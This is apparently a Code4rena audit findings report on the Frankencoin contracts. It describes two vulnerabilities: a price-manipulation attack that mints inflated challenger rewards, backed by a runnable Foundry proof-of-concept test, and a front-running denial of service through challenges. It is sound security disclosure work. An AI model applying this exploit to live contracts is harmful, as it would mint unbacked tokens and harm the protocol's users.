Frankencoin - T1MOH's results

Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Position.sol#L347 https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/MintingHub.sol#L252-L276

Vulnerability details

Impact

Malicious user can clone existing position, call adjustPrice() to set incredibly high price. Then launchChallenge() on this position (i.e. become challenger). tryAvertChallenge() will always return false, because price in position is incredibly high. And after ending of auction, challengerReward is calculated from multiplying price, positionSize, CHALLENGER_REWARD (2%) resulting in very very high challengerReward. Ends up in minting very high amount of Frankencoins to malicious user.

Proof of Concept

Open position, adjust price, launch challenge, bid, wait till the end, claim challengerReward

Insert this test into test/GeneralTest.t.sol and run forge test --match-test testHackWithPrice --via-ir -vv

    function testHackWithPrice() public {
        address hackerAndOwner = address(0x4);
        address bidder = address(0x5);

        // mint initail tokens
        vm.prank(address(swap));
        col.mint(hackerAndOwner, 2_000 ether);
        vm.prank(address(swap));
        zchf.mint(hackerAndOwner, 1_000 ether);
        vm.prank(address(swap));
        zchf.mint(bidder, 1_000 ether);

        // position args
        uint256 minCollateral = 100 ether;
        uint256 initCollateral = 1_000 ether;
        uint256 mintingMaximum = 3_000 ether;
        uint256 expirationSeconds = 100 days;
        uint256 challengeSeconds = 1 days;
        uint32 mintingFeePPM = 25000;
        uint256 liqPrice = 1 ether; //  fair price is 1 to 1
        uint32 reservePPM = 200_000;

        // open position
        vm.prank(hackerAndOwner);
        col.approve(address(hub), initCollateral);
        vm.prank(hackerAndOwner);
        address posAddress = hub.openPosition(address(col), minCollateral, initCollateral, mintingMaximum, expirationSeconds, challengeSeconds, mintingFeePPM, liqPrice, reservePPM);
        Position pos = Position(posAddress);
        skip(7 days + 60);

        // adjust price to very high
        uint256 newPrice = 1_000_000_000_000_000 ether;
        vm.prank(hackerAndOwner);
        pos.adjustPrice(newPrice);

        // launch challenge on this position
        uint256 challengeCollateralAmount = 1_000 ether;
        vm.prank(hackerAndOwner);
        col.approve(address(hub), challengeCollateralAmount);
        vm.prank(hackerAndOwner);
        uint256 challengeIndex = hub.launchChallenge(posAddress, challengeCollateralAmount);

        // bid fair price on auction
        uint256 zchfFairAmount = 1_000 ether;
        vm.prank(bidder);
        zchf.approve(address(hub), zchfFairAmount);
        vm.prank(bidder);
        hub.bid(challengeIndex, zchfFairAmount, challengeCollateralAmount);

        // wait and complete auction
        skip(2 days);
        hub.end(challengeIndex);

        // assert
        uint256 volume = pos.price() * challengeCollateralAmount / 10**18;
        uint256 challengerReward = hub.CHALLENGER_REWARD();
        console.log("Current hacker ZCHF amount (without fractional part)");
        console.log(zchf.balanceOf(hackerAndOwner) / 10**18);
        assertEq(zchf.balanceOf(hackerAndOwner), volume * challengerReward / 1_000_000);
    }

Tools Used

Manual Review, Foundry

Recommended Mitigation Steps

Maybe calculate challengerReward from actual effectiveBid instead of using volume with Positions's price (that could be malicious)

Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Position.sol#L97 https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Position.sol#L159 https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Position.sol#L177 https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Position.sol#L263

Vulnerability details

Impact

DOSer can frontrun all main functions in Position.sol: mint(), withdrawCollateral(), adjustPrice(), reduceLimitForClone(), calling MintingHub#launchChallenge() and paying minimumCollateralю Such actions will block any external interactions with Position

Proof of Concept

If attacker This functions have modifier

    modifier noChallenge() {
        if (challengedAmount > 0) revert Challenged();
        _;
    }

Tools Used

Manual Review

Recommended Mitigation Steps

Use a timeout after the challenge is complete so the user can interact with the position